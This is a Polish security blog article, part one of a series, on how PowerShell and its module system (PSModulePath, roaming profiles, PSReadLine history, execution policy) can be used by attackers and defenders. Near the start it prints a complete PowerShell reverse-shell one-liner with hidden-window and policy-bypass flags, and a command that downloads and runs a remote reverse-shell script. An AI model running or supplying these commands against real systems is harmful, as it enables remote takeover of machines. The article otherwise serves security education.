Moduły PowerShell – wsparcie leniwego admina czy szwajcarski scyzoryk hakera - część 1
25.10.2022 | Bartosz Chałek
Wstęp
Jeżeli istnieje administrator, który nigdy niczego nie zautomatyzował na komputerze, niech pierwszy rzuci kamieniem! Możliwości powershella są prawie nieograniczone – od lat przekonują się o tym administratorzy i hakerzy na całym świecie. Całkowita jego eliminacja w organizacji jest bardzo trudna lub wręcz niemożliwa – każdy zespół blue team ma z powershellem niemałą zagwozdkę.
Zacznijmy od początku
Zespoły red i blue bez przerwy prześcigają się w wykorzystywaniu powershella, czy to do ataku i ukrycia swojej obecności w systemie, wykrywania zagrożeń czy też monitoringu systemów. Wystarczy zerknąć na repozytoria github’a. Można znaleźć tam ponad 76 tysięcy repozytoriów z językiem oznaczonym jako powershell.
Źródło: https://github.com/search?q=language%3APowerShell&type=repositories, data dostępu: 2022-07-19
Przykłady użycia powershella w automatyzacji
Jako atakujący, możemy wykorzystać powershella praktycznie w każdej fazie ataku - np. rozpoczynając od próby zestawienia prostego revershella używając poniższej komendy.
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Możemy też łatwo pobrać i uruchomić dowolny skrypt z internetu:
powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')
Dodatkowo, jeżeli mamy jakiś prosty kod w C#, Jscript albo VisualBasic, to możemy go łatwo uruchomić dynamicznie w pamięci:
Źródło: opracowanie własne
Wystarczy uruchomić PowerShell ISE i spojrzeć na listę dostępnych komend, żeby zobaczyć jak gigantyczne możliwości daje to (standardowo zainstalowane w każdym Windowsie) narzędzie.
PowerShell nie tylko w powershellu
Co ciekawe, cała logika powershella znajduje się w bibliotece systemowej System.Management.Automation.dll, co oznacza że każde z tych poleceń można też uruchomić bez wyzwalania procesu powershell.exe, a np. za pomocą własnego kodu:
Źródło: opracowanie własne
Po kompilacji i uruchomieniu aplikacji, uzyskujemy wykonanie komendy powershella bez uruchomienia procesu powershell.exe.
Źródło: opracowanie własne
Z biblioteki tej korzystają też inne aplikacje wbudowane w systemie:
Źródło: opracowanie własne
W artykule tym skupimy się nad pewną funkcjonalnością powershella, która rzadko jest opisywana jako jakiekolwiek zagrożenie.
Moduły? Co to jest?
Strona Microsoft opisuje moduły jak niżej:
Źródło: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_modules?view=powershell-7.2, data dostępu: 2022-07-19
W skrócie są to paczki zawierające określone funkcje lub operacje, które mogą być przygotowane w formie skryptów oraz plików DLL.
Pytanie po co?
Tak jak w przypadku jakiegokolwiek systemu pakietów – pozwalają one na implementację zastawu funkcji, a następnie łatwe ich przenoszenie między różnymi środowiskami/serwerami itp.
W sieci można znaleźć wiele tutoriali opisujących sposób utworzenia własnego modułu - link.
Chcesz stworzyć własny konwerter tekstu do ROT 13, a następnie używać go w wielu różnych skryptach? Stwórz moduł zawierający taką konwersję, a następnie wczytaj go w każdym ze skryptów.
Istnieje nawet specjalna strona zawierająca dostępne do pobrania skrypty i moduły - link.
Jak to działa?
Za pomocą komendy Get-Module –ListAvailable, mamy możliwość pobrania wszystkich aktualnie dostępnych modułów zainstalowanych w systemie:
Źródło: opracowanie własne
Następnie za pomocą komendy Import-Module należy załadować taki moduł. To pozwoli w pełni korzystać z wszystkich funkcji w nim dostępnych. Lista lokalizacji, z których pobierane są moduły znajduje się w zmiennej środowiskowej PSModulePath:
Źródło: opracowanie własne
Domyślnie lista zawiera katalogi:
- li>%USERPROFILE%\Documents\WindowsPowerShell\Modules
- C:\Program Files\WindowsPowerShell\Modules
- C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
Modułem, który jest ciekawy z punktu bezpieczeństwa, jest moduł PSReadLine,który zapisuje historię komend wydanych przez użytkownika w katalogu - link:
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine
Dla atakującego jest to swoisty .bash_history powershella, z którego czasami można wyciągnąć bardzo ciekawe informacje. Dodatkowym udogodnieniem jest fakt, że moduł ten jest wczytywany automatycznie w momencie interaktywnego uruchomienia konsoli. Zgodnie z opisem z powyższej strony, ładuje się on również w przypadku uruchomienia konsoli Visual Studio Code.
Szybki rzut okiem w systemie pozwala na określenie gdzie ten moduł się znajduje:
Źródło: opracowanie własne
Źródło: opracowanie własne
Źródło: opracowanie własne
Wykorzystanie modułów w organizacji
Już z wcześniejszego opisu można zauważyć ciekawą rzecz, zmienna środowiskowa PSModulePath zawiera katalog: %USERPROFILE%\Documents\WindowsPowerShell\Modules
Częstą praktyką w organizacjach jest tworzenie profilu sieciowego pozwalającego na łatwe przenoszenie profilu użytkownika między wieloma komputerami – zwłaszcza jeśli chodzi o dokumenty użytkownika.
Po wykonaniu powyższego działania, możemy jako użytkownik zaimplementować moduł raz, a następnie używać go w skryptach na każdym komputerze, na którym się zalogujemy, bez konieczności przesyłania go na ten serwer. Wystarczy zsynchronizować profil użytkownika.
Osobie zajmującej się bezpieczeństwem może się zapalić malutka, czerwona lampka – czy to oznacza że można wraz z użytkownikiem przeskakiwać na kolejne systemy?
Odpowiedź brzmi: Tak – ale jak wcześniej widzieliśmy użytkownik musi świadomie taki moduł zaimportować i użyć na danym serwerze.
Execution Policy w obronie użytkownika
Przeglądając katalog %USERPROFILE%\Documents\WindowsPowerShell\ można zauważyć inne pliki, które przenoszą się wraz z profilem użytkownika między serwerami:
Źródło: opracowanie własne
Pliki te pozwalają na wykonanie dowolnych automatycznych akcji dostosowujących konsole powershella przy każdym uruchomieniu – jednak są one domyślnie blokowane przez polityki uruchomienia:
Źródło: opracowanie własne
W celu ich włączenia, konieczne jest uruchomienie konsoli powershella z flagą ExecutionPolicy Bypass.
Podsumowanie
Nie jest to więc dobry sposób na dodanie naszego importu modułów. Szczególnie jeśli jako atakujący chcemy żeby użytkownik nie był świadom ataku. Jakie więc mamy opcje? O tym wszystkim przeczytasz w drugiej części artykułu.